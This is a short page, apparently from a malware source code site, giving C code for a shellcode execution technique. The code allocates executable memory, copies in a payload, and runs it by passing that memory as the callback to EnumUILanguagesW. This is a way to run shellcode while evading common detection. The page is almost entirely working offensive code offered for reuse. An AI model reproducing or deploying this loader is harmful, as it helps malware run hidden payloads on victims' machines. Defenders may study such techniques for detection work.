> For the complete documentation index, see [llms.txt](https://malwaresourcecode.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://malwaresourcecode.com/home/shellcode-execution/enumuilanguagesw.md).

# EnumUILanguagesW

```
VOID InvokeEnumUILanguagesWCallbackRoutine(LPVOID lpParameter)
{
	EnumUILanguagesW((UILANGUAGE_ENUMPROCW)lpParameter, MUI_LANGUAGE_ID, NULL);
}

BOOL MpfSceViaEnumUILanguagesW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
	LPVOID BinAddress = NULL;

	BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (BinAddress == NULL)
		return FALSE;

	CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);

	CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeEnumUILanguagesWCallbackRoutine, BinAddress, INFINITE);

	return TRUE;
}
```
